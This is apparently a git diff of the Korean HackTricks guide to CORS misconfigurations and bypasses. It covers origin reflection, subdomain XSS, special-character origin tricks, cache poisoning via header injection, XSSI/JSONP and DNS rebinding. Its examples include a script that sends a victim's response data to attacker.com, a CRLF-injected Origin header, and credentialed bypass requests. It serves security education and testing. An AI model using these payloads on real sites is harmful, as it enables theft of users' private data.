* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>
{% endhint %}

138
pentesting-web/cors-bypass.md
View file

@ -1,8 +1,8 @@
# CORS - 잘못된 구성 및 우회
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -23,11 +23,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
교차 출처 리소스 공유(CORS) 표준은 **서버가 자산에 접근할 수 있는 대상을 정의하고** **외부 출처에서 허용되는 HTTP 요청 방법을 정의**할 수 있게 해줍니다.
**동일 출처** 정책은 **리소스를 요청하는** 서버와 **리소스**를 호스팅하는 서버가 동일한 프로토콜(예: `http://`), 도메인 이름(예: `internal-web.com`), 및 **포트**(예: 80)를 공유해야 한다고 규정합니다. 이 정책에 따라 동일한 도메인과 포트의 웹 페이지만 리소스에 접근할 수 있습니다.
**동일 출처** 정책은 **리소스를 요청하는** 서버와 **리소스**를 호스팅하는 서버가 동일한 프로토콜(예: `http://`), 도메인 이름(예: `internal-web.com`), 및 **포트**(예: 80)를 공유해야 한다고 규정합니다. 이 정책 하에서는 동일한 도메인과 포트의 웹 페이지만 리소스에 접근할 수 있습니다.
`http://normal-website.com/example/example.html`의 맥락에서 동일 출처 정책의 적용은 다음과 같이 설명됩니다:
| 접근한 URL | 접근 허용 여부 |
| 접근한 URL | 접근 허용 여부 |
| ----------------------------------------- | ------------------------------------- |
| `http://normal-website.com/example/` | 예: 동일한 스킴, 도메인 및 포트 |
| `http://normal-website.com/example2/` | 예: 동일한 스킴, 도메인 및 포트 |
@ -81,9 +81,9 @@ xhr.send('<person><name>Arun</name></person>');
특정 조건에서 교차 도메인 요청을 시작할 때, 예를 들어 **비표준 HTTP 메서드**(HEAD, GET, POST 이외의 모든 것)를 사용하거나 새로운 **헤더**를 도입하거나 특별한 **Content-Type 헤더 값**을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 초기 요청은 **`OPTIONS`** 메서드를 활용하여 서버에 다가오는 교차 출처 요청의 의도를 알리며, 사용하려는 HTTP 메서드와 헤더를 포함합니다.
**교차 출처 리소스 공유 (CORS)** 프로토콜은 요청된 교차 출처 작업의 가능성을 결정하기 위해 허용된 메서드, 헤더 및 출처의 신뢰성을 검증하는 이 사전 요청 검사를 의무화합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.
**교차 출처 리소스 공유 (CORS)** 프로토콜은 요청된 교차 출처 작업의 가능성을 확인하기 위해 허용된 메서드, 헤더 및 출처의 신뢰성을 검증하는 이 사전 요청 검사를 의무화합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.
사전 요청이 없다고 해서 응답에 권한 부여 헤더가 포함되어야 하는 요구 사항이 사라지는 것은 아니라는 점에 유의해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다.
**사전 요청이 없다고 해서 응답이 권한 부여 헤더를 포함해야 하는 요구 사항이 사라지는 것은 아닙니다**. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다.
다음은 `PUT` 메서드와 `Special-Request-Header`라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시입니다:
```
@ -94,7 +94,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
서버는 수용된 메서드, 허용된 출처 및 기타 CORS 정책 세부 정보를 나타내는 헤더를 반환할 수 있습니다. 아래와 같이:
서버는 수용된 메서드, 허용된 출처 및 기타 CORS 정책 세부정보를 나타내는 헤더를 반환할 수 있습니다. 아래와 같이:
```markdown
HTTP/1.1 204 No Content
...
@ -105,21 +105,21 @@ Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 클라이언트의 요청에서 허용된 헤더를 나타내기 위해 서버에 의해 설정됩니다.
* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에 알립니다.
* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 클라이언트에게 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 알립니다.
* **`Access-Control-Max-Age`**: 이 헤더는 사전 요청의 결과를 얼마나 오랫동안 캐시할 수 있는지를 나타냅니다. 서버는 사전 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간을 초 단위로 설정합니다.
* **`Access-Control-Request-Headers`**: 사전 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하고자 하는 HTTP 헤더에 대해 서버에 알리기 위해 설정됩니다.
* **`Access-Control-Request-Method`**: 이 헤더는 사전 요청에서도 사용되며, 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 설정됩니다.
* **`Access-Control-Request-Headers`**: 사전 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하고자 하는 HTTP 헤더에 대해 서버에 알리기 위해 클라이언트에 의해 설정됩니다.
* **`Access-Control-Request-Method`**: 이 헤더는 사전 요청에서도 사용되며, 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 클라이언트에 의해 설정됩니다.
* **`Origin`**: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 수신 요청을 허용할지 거부할지를 평가하는 데 사용합니다.
일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 접근하려면** _Access-Control-Allow-Origin_ 헤더가 이를 허용해야 합니다.\
**따라서, CORS는 CSRF로부터 보호하지 않지만 도움이 될 수 있습니다.**
일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 접근**하려면 _Access-Control-Allow-Origin_ 헤더가 이를 허용해야 합니다.\
**따라서, CORS는 CSRF로부터 보호하지 않습니다 (하지만 도움이 될 수 있습니다).**
### **로컬 네트워크 요청 사전 요청**
1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 문의가 로컬 네트워크 리소스를 목표로 하고 있음을 나타냅니다. 이는 요청이 로컬 네트워크 내에서 발생했음을 서버에 알리는 표시 역할을 합니다.
2. **`Access-Control-Allow-Local-Network`**: 응답으로 서버는 이 헤더를 사용하여 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유될 수 있음을 전달합니다. 이는 서로 다른 네트워크 경계를 넘어 리소스를 공유할 수 있도록 허용하는 신호 역할을 하며, 보안 프로토콜을 유지하면서 통제된 접근을 보장합니다.
**로컬 네트워크 요청을 허용하는 유효한 응답**은 응답에 `Access-Controls-Allow-Local_network: true` 헤더도 포함되어야 합니다.
로컬 네트워크 요청을 허용하는 **유효한 응답**은 응답에 `Access-Controls-Allow-Local_network: true` 헤더도 포함되어야 합니다.
```
HTTP/1.1 200 OK
...
@ -133,20 +133,29 @@ Content-Length: 0
{% hint style="warning" %}
리눅스 **0.0.0.0** IP는 해당 IP 주소가 "로컬"로 간주되지 않기 때문에 localhost에 접근하기 위한 이러한 요구 사항을 **우회**하는 데 작동합니다.
로컬 엔드포인트의 **공용 IP 주소**(예: 라우터의 공용 IP)를 사용하면 **로컬 네트워크 요구 사항을 우회**할 수도 있습니다. 여러 경우에 **공용 IP**에 접근하더라도 **로컬 네트워크**에서 접근하는 경우 접근이 허용됩니다.
로컬 엔드포인트의 **공용 IP 주소**(예: 라우터의 공용 IP)를 사용하면 **로컬 네트워크 요구 사항을 우회**하는 것도 가능합니다. 여러 경우에, **공용 IP**에 접근하더라도, **로컬 네트워크**에서 접근하는 경우에는 접근이 허용됩니다.
{% endhint %}
## 악용 가능한 잘못된 구성
### 와일드카드
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것이 대부분의 **실제 공격**의 전제 조건이라는 것이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 전송하고 응답을 읽을 수 있도록 허용하여 공격의 효과를 높입니다. 이 설정이 없으면 브라우저가 요청을 발행하는 것의 이점이 줄어들며, 사용자의 쿠키를 활용하는 것이 불가능해집니다.
다음 구성은 매우 허용적인 것처럼 보일 수 있습니다:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.
### 예외: 네트워크 위치를 인증으로 악용하기
## Exploitable misconfigurations
피해자의 네트워크 위치가 인증의 한 형태로 작용하는 예외가 존재합니다. 이는 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 접근할 수 있게 합니다. 이 방법은 DNS 리바인딩과 유사한 영향을 미치지만, 악용하기가 더 간단합니다.
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것은 대부분의 **실제 공격**에 대한 전제 조건으로 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 전송하고 응답을 읽을 수 있도록 허용하여 공격의 효과를 높입니다. 이를 통해 사용자의 쿠키를 활용하는 것이 불가능해지므로, 브라우저가 요청을 발행하는 것의 이점이 줄어듭니다.
### `Access-Control-Allow-Origin`에서 `Origin`의 반영
### Exception: Exploiting Network Location as Authentication
`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이러한 헤더를 결합하는 데 제한이 있기 때문에 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 공격자가 합법적으로 보이도록 설계된 이름의 도메인을 사용할 경우, 검증 로직을 속여 취약점을 초래할 수 있습니다.
희생자의 네트워크 위치가 인증의 한 형태로 작용하는 예외가 존재합니다. 이는 희생자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하고 인트라넷 애플리케이션에 접근할 수 있게 합니다. 이 방법은 DNS 리바인딩과 유사한 영향을 미치지만, 더 간단하게 악용할 수 있습니다.
### Reflection of `Origin` in `Access-Control-Allow-Origin`
`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이러한 헤더를 결합하는 것에 대한 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 공격자가 합법적으로 보이도록 설계된 이름의 도메인을 사용할 때 특히 취약점을 도입할 수 있습니다.
```html
<script>
var req = new XMLHttpRequest();
@ -199,11 +208,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (284).png>)
### 서브도메인 내 XSS에서
### 서브도메인 내 XSS로부터
개발자들은 CORS 악용으로부터 보호하기 위해 요청할 수 있는 도메인을 화이트리스트에 추가하는 방어 메커니즘을 구현하는 경우가 많습니다. 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 내에 단 하나의 취약한 서브도메인이 존재하는 것만으로도 XSS (교차 사이트 스크립팅)와 같은 다른 취약점을 통해 CORS 악용의 길을 열 수 있습니다.
개발자들은 CORS 악용으로부터 보호하기 위해 요청할 수 있는 도메인을 화이트리스트에 추가하는 방어 메커니즘을 구현하는 경우가 많습니다. 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 내에 단 하나의 취약한 서브도메인이 존재하는 것만으로도 XSS (교차 사이트 스크립팅)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.
예를 들어, `requester.com`이라는 도메인이 다른 도메인 `provider.com`의 리소스에 접근할 수 있도록 화이트리스트에 추가된 시나리오를 고려해 보십시오. 서버 측 구성은 다음과 같을 수 있습니다:
예를 들어, `requester.com`이라는 도메인이 `provider.com`의 리소스에 접근할 수 있도록 화이트리스트에 추가된 시나리오를 고려해 보십시오. 서버 측 구성은 다음과 같을 수 있습니다:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -211,15 +220,44 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
이 설정에서는 `requester.com`의 모든 서브도메인이 접근이 허용됩니다. 그러나 `sub.requester.com`과 같은 서브도메인이 XSS 취약점으로 손상되면, 공격자는 이 약점을 이용할 수 있습니다. 예를 들어, `sub.requester.com`에 접근할 수 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 접근할 수 있습니다.
이 설정에서는 `requester.com`의 모든 서브도메인이 접근이 허용됩니다. 그러나 `sub.requester.com`과 같은 서브도메인이 XSS 취약점으로 손상되면, 공격자는 이 약점을 이용할 수 있습니다. 예를 들어, `sub.requester.com`에 접근할 수 있는 공격자는 XSS 취약점을 이용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 접근할 수 있습니다.
### **특수 문자**
PortSwigger의 [URL 검증 우회 치트 시트](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet)는 일부 브라우저가 도메인 이름 내에서 이상한 문자를 지원한다는 것을 발견했습니다.
Chrome과 Firefox는 `Origin` 헤더를 검증하기 위해 구현된 정규 표현식을 우회할 수 있는 밑줄 `_`를 지원합니다:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```
```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari는 도메인 이름에서 특수 문자를 수용하는 데 더욱 관대합니다:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```
```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **서버 측 캐시 오염**
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTP 헤더 주입을 통해 서버 측 캐시 오염을 악용함으로써 저장된 교차 사이트 스크립팅(XSS) 취약점을 유도할 수 있습니다. 이 시나리오는 애플리케이션이 불법 문자를 위해 `Origin` 헤더를 정리하지 못할 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 생성합니다. 이러한 브라우저는 (0x0d)를 합법적인 HTTP 헤더 종료자로 처리하여 HTTP 헤더 주입 취약점을 초래합니다.
다음 요청을 고려해 보십시오. `Origin` 헤더가 조작된 경우:
`Origin` 헤더가 조작된 다음 요청을 고려하십시오:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -230,21 +268,21 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
이 취약점을 직접적으로 악용하기 위해 웹 브라우저가 잘못된 헤더를 전송하는 것은 실현 가능하지 않지만, Burp Suite와 같은 도구를 사용하여 수동으로 조작된 요청을 생성할 수 있습니다. 이 방법은 서버 측 캐시가 응답을 저장하고 다른 사용자에게 우연히 제공되는 결과를 초래할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 맥락에서 스크립트로 실행될 수 있는 방식으로 문자를 인코딩할 수 있기 때문에 XSS 취약점과 종종 연관됩니다.
이 취약점을 직접적으로 악용하기 위해 웹 브라우저가 잘못된 헤더를 전송하는 것은 실현 가능하지 않지만, Burp Suite와 같은 도구를 사용하여 조작된 요청을 수동으로 생성할 수 있습니다. 이 방법은 서버 측 캐시가 응답을 저장하고 다른 사용자에게 우연히 제공되는 결과를 초래할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 맥락에서 스크립트로 실행될 수 있는 방식으로 문자를 인코딩할 수 있기 때문에 XSS 취약점과 종종 연관됩니다.
저장된 XSS 취약점에 대한 추가 정보는 [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)를 참조하십시오.
**참고**: HTTP 헤더 주입 취약점의 악용, 특히 서버 측 캐시 오염을 통해, 모든 사용자 제공 입력, 특히 HTTP 헤더를 검증하고 정화하는 것이 얼마나 중요한지를 강조합니다. 항상 이러한 취약점을 방지하기 위해 입력 검증을 포함하는 강력한 보안 모델을 사용하십시오.
**참고**: HTTP 헤더 주입 취약점의 악용, 특히 서버 측 캐시 오염을 통해, 모든 사용자 제공 입력, HTTP 헤더를 포함하여, 검증하고 정화하는 것이 얼마나 중요한지를 강조합니다. 항상 이러한 취약점을 방지하기 위해 입력 검증을 포함하는 강력한 보안 모델을 사용하십시오.
### **클라이언트 측 캐시 오염**
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
이 시나리오에서는 적절한 인코딩 없이 사용자 정의 HTTP 헤더의 내용을 반영하는 웹 페이지 인스턴스가 관찰됩니다. 특히, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 반영하며, 여기에는 악성 JavaScript가 포함될 수 있습니다. 이는 헤더에 JavaScript 코드를 로드할 때 실행하도록 설계된 SVG 이미지 태그가 포함된 예시로 입증됩니다.
이 시나리오에서는 적절한 인코딩 없이 사용자 정의 HTTP 헤더의 내용을 반영하는 웹 페이지 인스턴스가 관찰됩니다. 특히, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 반영하는데, 이 헤더에는 악성 JavaScript가 포함될 수 있으며, 이는 헤더에 JavaScript 코드를 로드할 수 있도록 설계된 SVG 이미지 태그가 포함된 예시로 보여집니다.
교차 출처 리소스 공유(CORS) 정책은 사용자 정의 헤더 전송을 허용합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 의해 직접 렌더링되지 않으면, 이러한 주입의 유용성은 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면, 악성 응답이 브라우저에 의해 캐시될 수 있습니다. 이후, 이 캐시된 응답은 URL로 이동할 때 직접 렌더링될 수 있으며, 초기 요청 시 직접 렌더링의 필요성을 우회합니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 높입니다.
교차 출처 리소스 공유(CORS) 정책은 사용자 정의 헤더의 전송을 허용합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 의해 직접 렌더링되지 않으면, 이러한 주입의 유용성은 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면, 악성 응답이 브라우저에 의해 캐시될 수 있습니다. 이후, 이 캐시된 응답은 URL로 탐색할 때 직접 렌더링될 수 있으며, 초기 요청 시 직접 렌더링의 필요성을 우회합니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 높입니다.
이 공격을 설명하기 위해, 웹 페이지 환경에서 실행되도록 설계된 JavaScript 예제가 제공됩니다. 이 스크립트는 간단한 작업을 수행합니다: 악성 JavaScript가 포함된 사용자 정의 헤더로 지정된 URL에 요청을 보냅니다. 요청이 성공적으로 완료되면, 대상 URL로 이동을 시도하며, 응답이 `Vary: Origin` 헤더를 적절히 처리하지 않고 캐시된 경우 주입된 스크립트의 실행을 유발할 수 있습니다.
이 공격을 설명하기 위해, 웹 페이지 환경에서 실행되도록 설계된 JavaScript 예제가 제공됩니다. 이 스크립트는 간단한 작업을 수행합니다: 악성 JavaScript가 포함된 사용자 정의 헤더로 지정된 URL에 요청을 보냅니다. 요청이 성공적으로 완료되면, 대상 URL로 탐색을 시도하며, 응답이 `Vary: Origin` 헤더를 적절히 처리하지 않고 캐시된 경우 주입된 스크립트의 실행을 유발할 수 있습니다.
이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석은 다음과 같습니다:
```html
@ -262,15 +300,15 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same Origin Policy (SOP)가 script 태그를 사용하여 리소스를 포함할 때 적용되지 않는 사실을 이용하는 취약점입니다. 이는 스크립트가 서로 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점은 공격자가 script 태그를 사용하여 포함된 모든 콘텐츠에 접근하고 읽을 수 있게 합니다.
XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same Origin Policy (SOP)가 스크립트 태그를 사용하여 리소스를 포함할 때 적용되지 않는 사실을 이용하는 취약점입니다. 이는 스크립트가 서로 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점은 공격자가 스크립트 태그를 사용하여 포함된 모든 콘텐츠에 접근하고 읽을 수 있게 합니다.
이 취약점은 동적 JavaScript 또는 JSONP (Padding이 있는 JSON)와 관련하여 특히 중요해지며, 특히 인증을 위해 쿠키와 같은 ambient-authority 정보가 사용될 때 더욱 그렇습니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자가 접근할 수 있게 됩니다.
이 취약점은 동적 JavaScript 또는 JSONP (Padding이 있는 JSON)와 관련하여 특히 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때 더욱 그렇습니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자가 접근할 수 있게 됩니다.
이 취약점을 더 잘 이해하고 완화하기 위해 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)에서 제공하는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 잠재적인 XSSI 취약점을 식별하고 해결하는 데 도움을 줄 수 있습니다.
[**여기에서 XSSI의 다양한 유형과 이를 악용하는 방법에 대해 더 읽어보세요.**](xssi-cross-site-script-inclusion.md)
요청에 **`callback`** **매개변수**를 추가해 보세요. 아마도 페이지가 JSONP로 데이터를 전송하도록 준비되었을 것입니다. 그런 경우 페이지는 `Content-Type: application/javascript`와 함께 데이터를 반환하여 CORS 정책을 우회할 것입니다.
요청에 **`callback`** **매개변수**를 추가해 보세요. 아마도 페이지가 JSONP로 데이터를 전송하도록 준비되었을 것입니다. 그런 경우 페이지는 `Content-Type: application/javascript`로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.
![](<../.gitbook/assets/image (856).png>)
@ -278,8 +316,8 @@ XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same O
`Access-Control-Allow-Origin` 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청을 대신 하도록 요청하고 응답을 다시 보내도록 하는 것입니다. 그러나 이 시나리오에서는 최종 피해자의 자격 증명이 다른 도메인에 요청이 이루어지기 때문에 전송되지 않습니다.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 함께 헤더를 전달하는 프록시를 제공하며, 요청된 도메인과 일치하도록 Origin 헤더를 스푸핑합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest를 사용한 예시는 다음과 같습니다:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 프록시하는 대체 접근 방식을 제공합니다. 요청을 그대로 전달하는 대신, 서버가 지정된 매개변수로 자체 요청을 수행합니다.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 헤더를 전달하는 프록시를 제공하며, 요청된 도메인과 일치하도록 Origin 헤더를 스푸핑합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest를 사용한 예는 다음과 같습니다:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 프록시하는 대체 접근 방식을 제공합니다. 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.
### Iframe + Popup Bypass
@ -301,11 +339,11 @@ TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안
브라우저에는 이 기술의 즉각적인 남용을 방지할 수 있는 캐싱 메커니즘이 있다는 점에 유의해야 합니다. 낮은 TTL 값에서도 마찬가지입니다.
DNS 리바인딩은 피해자가 수행하는 명시적인 IP 검사를 우회하거나 사용자가 오랜 시간 동안 같은 페이지에 머무르는 시나리오에서 유용할 수 있습니다. 이 경우 캐시가 만료됩니다.
DNS 리바인딩은 피해자가 수행하는 명시적인 IP 검사를 우회하거나 사용자가 오랜 시간 동안 같은 페이지에 머무르는 시나리오에서 유용할 수 있습니다. 이렇게 하면 캐시가 만료될 수 있습니다.
DNS 리바인딩을 남용할 수 있는 빠른 방법이 필요하다면 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)와 같은 서비스를 사용할 수 있습니다.
자신의 DNS 리바인딩 서버를 운영하려면 **DNSrebinder** 도구([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출하고, 이를 가리키는 A 레코드를 생성하며 (예: ns.example.com), 이전에 생성된 A 서브도메인을 가리키는 NS 레코드를 생성하는 것을 포함합니다 (예: ns.example.com). ns.example.com 서브도메인의 모든 서브도메인은 귀하의 호스트에 의해 해결됩니다.
자신의 DNS 리바인딩 서버를 운영하려면 **DNSrebinder** 도구를 사용할 수 있습니다 ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). 이는 로컬 포트 53/udp를 노출하고, 이를 가리키는 A 레코드를 생성하며 (예: ns.example.com), 이전에 생성된 A 서브도메인을 가리키는 NS 레코드를 생성하는 것을 포함합니다 (예: ns.example.com). ns.example.com 서브도메인의 모든 서브도메인은 귀하의 호스트에 의해 해결됩니다.
더 많은 이해와 실험을 위해 [http://rebind.it/singularity.html](http://rebind.it/singularity.html)에서 공개적으로 운영되는 서버를 탐색할 수 있습니다.
@ -315,9 +353,9 @@ DNS 캐시 플러딩을 통한 DNS 리바인딩은 브라우저의 캐싱 메커
1. 처음에 피해자가 DNS 요청을 하면 공격자의 IP 주소로 응답합니다.
2. 캐싱 방어를 우회하기 위해 공격자는 서비스 워커를 활용합니다. 서비스 워커는 DNS 캐시를 플러딩하여 캐시된 공격자 서버 이름을 효과적으로 삭제합니다.
3. 피해자의 브라우저가 두 번째 DNS 요청을 할 때, 이제는 IP 주소 127.0.0.1로 응답받게 되며, 이는 일반적으로 로컬호스트를 가리킵니다.
3. 피해자의 브라우저가 두 번째 DNS 요청을 할 때, 이제는 일반적으로 로컬호스트를 가리키는 IP 주소 127.0.0.1로 응답받습니다.
서비스 워커로 DNS 캐시를 플러딩함으로써 공격자는 DNS 해상도 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해상도됩니다.
서비스 워커로 DNS 캐시를 플러딩함으로써 공격자는 DNS 해상도 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해결됩니다.
### DNS Rebinding via **Cache**
@ -328,28 +366,28 @@ DNS 캐시 플러딩을 통한 DNS 리바인딩은 브라우저의 캐싱 메커
3. 브라우저가 공격자의 IP 주소를 먼저 사용하기로 결정하면, 공격자는 동일한 도메인에 대한 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
4. 그러나 공격자가 피해자의 IP 주소를 얻으면 피해자의 브라우저에 대한 응답을 중단합니다.
5. 피해자의 브라우저는 도메인이 응답하지 않음을 인식하고 두 번째로 제공된 IP 주소를 사용합니다.
6. 두 번째 IP 주소에 접근함으로써 브라우저는 Same Origin Policy (SOP)를 우회하여 공격자가 이를 남용하고 정보를 수집 및 유출할 수 있게 됩니다.
6. 두 번째 IP 주소에 접근함으로써 브라우저는 Same Origin Policy (SOP)를 우회하여 공격자가 이를 남용하고 정보를 수집 및 유출할 수 있게 합니다.
